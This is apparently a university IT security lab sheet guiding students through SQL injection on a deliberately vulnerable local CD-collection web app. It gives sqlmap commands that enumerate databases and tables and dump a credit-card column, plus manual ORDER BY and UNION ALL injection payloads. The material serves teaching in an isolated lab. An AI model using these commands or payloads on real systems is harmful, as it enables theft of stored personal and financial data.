### COS30015 IT SECURITY

You will need:

Kali (VM)

Windows XP Control (VM)

A computer with internet access

### Lab9

In this lab you will experiment with SQL injection.

1. Using VMware Workstation Pro, start up the ***Kali***.

Also start up the ***Windows XP Control***.

2. Log into Kali:

**user**

**COS30015user**

Add the XP Control domain (and others) to the hosts file:

**sudo vi /etc/hosts** //enter the password: **COS30015user**

<insert>

**192.168.100.104 www.server.com**

**192.168.100.103 www.control.com**

**192.168.100.130 www.victim.com**

**:wq**

1. Start up WindowsXP Control

On the desktop, open XAMPP Control Panel

*Start* Apache and MySQL

Back in Kali, open the browser and go to [www.control.com:88](http://www.control.com:88)

There are some vulnerable web applications here.

Have a look at the **CD collection database**.

It has a back door - the keypad. This is implemented in javascript, which means that all you need to know will be available on the client side, through the browser.

1. View the source of the web page.

Right-click and select *View Page Source*.

In the head section, some javascript is loaded into the page.

**What is the source (hint: src=)?**

Add this resource to the url (www.control.com:88/banner.gif) in the browser and load "banner.gif"

Can't view it? That's alright. Right-click and save it to the desktop. **//or File/Save Page As…**

On the desktop (shrink the other windows to reveal it), right-click and "*Open with Other Application*".

Select

"*Show other applications*" and select **Leafpad** (a text editor).

**What is the admin password?**

**What is the user password?**

1. In the browser, log in as a user. **//from http://www.control.com:88/cdcol/**

Click around and find a URL which loads something (a GET request with a parameter)

It will be of the form:

http://<host>.<domain>:88<resource>?<key>=<value>

**What are the full URIs?**

1. Go Back to the Kali desktop.

From the menu, select

*Applications*

*Kali Linux*

*Top10...*

*SQLMap*

Read through the help file.

The command syntax is

**sqlmap -u "http://www.control.com:88/cdcol/search\_action.php?title=&year=1991"**

**//should be a valid URL - we don't want the user being redirected to a different page.**

We add the quotes because of the **&** embedded in the URL - this can cause Linux to put SQLMap into a background process.

When prompted to allow redirection, enter **n**

1. When prompted to skip other (non-MySQL) databases, enter **Y**

When prompted to skip other key values (not year), enter **Y**

When prompted to skip parameters other than year, type **N**

SQLMap identifies that the dbms is MySQL version 5.0.11 or later.

and that the year field is susceptible to blind injection timing attacks

Using Google, find out that a ***blind sql injection timing attack*** is.

**Explain it here: (don’t hold back – it’s complicated)**

1. The summary shows that the OS is Windows, the web server is Apache and the DBMS is MySQL.

In future queries we can speed things up by specifying **--dbms=MySQL**

We can also make things multi-threaded to speed it up: **--threads=9**

Repeat the command, setting the dbms and ask for the dbs

**sqlmap -u "http://www.control.com:88/cdcol/search\_action.php?title=&year=1991" --dbms=MySQL --threads=9 --dbs**

all on one line

When prompted to allow redirection, enter **n**

When prompted, accept the defaults (<Enter key>)

After a while the program will start brute-force guessing the database names.

You will see them appear one character at a time.

**What are the table names?**

1. Now you can specify a particular database and search for table names.

You can speed it up by specifying the key-value pair to use for injection:

**-p year**

**sqlmap -u "http://www.control.com:88/cdcol/search\_action.php?title=&year=1991" --dbms=MySQL --threads=9 -D cdcol -p year --tables**

all on one line

When prompted to allow redirection, enter **n**

When prompted, accept the defaults (<Enter key>)

After a while SQLMap will start to brute-force the table names.

**What are they?**

1. Userinfo looks interesting.

Try:

**sqlmap -u "http://www.control.com:88/cdcol/search\_action.php?title=&year=1991" --dbms=MySQL --threads=9 -D cdcol -p year -T userinfo --columns**

all on one line

When prompted to allow redirection, enter **n**

When prompted, accept the defaults (<Enter key>)

**List the column names (may need to run a few times)**

We could get the password hashes, but let's go for the $$$.

**sqlmap -u "http://www.control.com:88/cdcol/search\_action.php?title=&year=1991" --dbms=MySQL --threads=9 -D cdcol -p year -T userinfo -C creditcard --dump**

all on one line

When prompted to allow redirection, enter **n**

When prompted, accept the defaults (<Enter key>)

If you get a error message, try again, prefixing with sudo:

**sudo sqlmap -u "http://www.control.com:88/cdcol/search\_action.php?title=&year=1991" --dbms=MySQL --threads=9 -D cdcol -p year -T userinfo -C creditcard --dump**

all on one line

When prompted to allow redirection, enter **n**

When prompted, accept the defaults (<Enter key>)

While you're waiting you can look at the traffic with Wireshark.

From a separate terminal window, run Wireshark as root:

**sudo wireshark**

*Capture*

*Options (select eth0)*

*Start*

You may have to adjust the window and panel sizes.

If you have time, try "--dump"ing the password hashes.

SQLMap can try to deduce the plain text from them user its own built-in rainbow table.

1. Finally, SQLMap is stupid. It automates really time-consuming brute forcing of database tables.

An intelligent hacker can discover the DBMS (port scanning, banner grabbing, injecting errors and reading the db error messages, using on-line tools),

the database, table and column names (educated guesses, schema mapping, research into open-source web apps),

number of columns (ORDER BY injection),

and UNION ALL injection to get the contents of a table in a few queries. For example:

In the web browser (in Kali), go to the ***search*** page.

Insert:

**1991 order by 12**

into the ***year***field. You will get an error.

Go back to the***search*** page and repeat, changing the 12 to 11 and so on until you don't get an error.

**How many columns are in the embedded query?**

**How many columns are displayed on the results table?**

Inject these into the ***year*** until one works:

**1990 union ALL select \*,1,2 from userinfo**

**1990 union ALL select \*,1 from userinfo**

**1990 union ALL select \* from userinfo**

**What is Brian's credit card number?**

Note: SQLMap said that UNION injection was not possible with the year parameter. Stupid software!

1. Kill everything,

Close the VMs

Log off

... or leave it running overnight.